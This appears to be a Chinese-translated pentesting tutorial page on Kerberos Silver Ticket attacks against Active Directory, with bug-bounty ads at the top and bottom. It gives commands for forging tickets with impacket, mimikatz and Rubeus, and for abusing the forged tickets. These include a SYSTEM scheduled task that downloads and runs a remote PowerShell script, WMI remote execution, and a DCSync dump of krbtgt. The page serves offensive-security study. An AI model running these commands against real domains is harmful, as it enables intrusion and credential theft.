Silver Ticket

赏金提示:注册Intigriti,这是一家由黑客创建的高级赏金平台!今天加入我们,开始赚取高达**$100,000**的赏金!https://go.intigriti.com/hacktricks
银票据
银票据攻击涉及利用Active Directory(AD)环境中的服务票据。该方法依赖于获取服务帐户(例如计算机帐户)的NTLM哈希,以伪造票据授予服务(TGS)票据。借助这个伪造的票据,攻击者可以访问网络上的特定服务,冒充任何用户,通常目标是获取管理权限。强调使用AES密钥来伪造票据更安全且更不易被检测。
对于票据制作,根据操作系统使用不同的工具:
在Linux
python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE_PRINCIPAL_NAME> <USER>
export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass
在Windows上
# Create the ticket
mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> /rc4:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET>"
# Inject the ticket
mimikatz.exe "kerberos::ptt <TICKET_FILE>"
.\Rubeus.exe ptt /ticket:<TICKET_FILE>
# Obtain a shell
.\PsExec.exe -accepteula \\<TARGET> cmd
CIFS服务被强调为访问受害者文件系统的常见目标,但其他服务如HOST和RPCSS也可以被利用来执行任务和WMI查询。
可用服务
WMI
HOST
RPCSS
PowerShell远程
HOST
HTTP
根据操作系统不同还有:
WSMAN
RPCSS
WinRM
HOST
HTTP
在某些情况下,您可以直接请求:WINRM
计划任务
HOST
Windows文件共享,也包括psexec
CIFS
LDAP操作,包括DCSync
LDAP
Windows远程服务器管理工具
RPCSS
LDAP
CIFS
黄金票证
krbtgt
使用Rubeus,您可以使用以下参数请求所有这些票证:
/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm
银票事件ID
4624: 帐户登录
4634: 帐户注销
4672: 管理员登录
滥用服务票证
在以下示例中,假设通过模拟管理员帐户检索了票证。
CIFS
有了这张票,您就可以通过SMB访问C$
和ADMIN$
文件夹(如果它们被公开),并通过执行类似以下操作将文件复制到远程文件系统的某个位置:
dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp
主机
有了这个权限,您可以在远程计算机中生成计划任务并执行任意命令:
#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
#Create scheduled task, first for exe execution, second for powershell reverse shell download
schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
#Check it was successfully created
schtasks /query /S some.vuln.pc
#Run created schtask now
schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"
主机 + RPCSS
使用这些票据,您可以在受害系统中执行 WMI:
#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
#Execute code
Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"
#You can also use wmic
wmic remote.computer.local list full /format:list
在以下页面查找有关wmiexec的更多信息:
WmicExec主机 + WSMAN (WINRM)
通过计算机上的winrm访问,您可以访问它,甚至获取PowerShell:
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
LDAP
拥有这个权限后,您可以使用DCSync来转储域控制器数据库:
mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
了解更多关于DCSync请查看以下页面:
参考资料

漏洞赏金提示:注册Intigriti,一个由黑客创建的高级漏洞赏金平台!立即加入我们,访问 https://go.intigriti.com/hacktricks,开始赚取高达**$100,000**的赏金!
最后更新于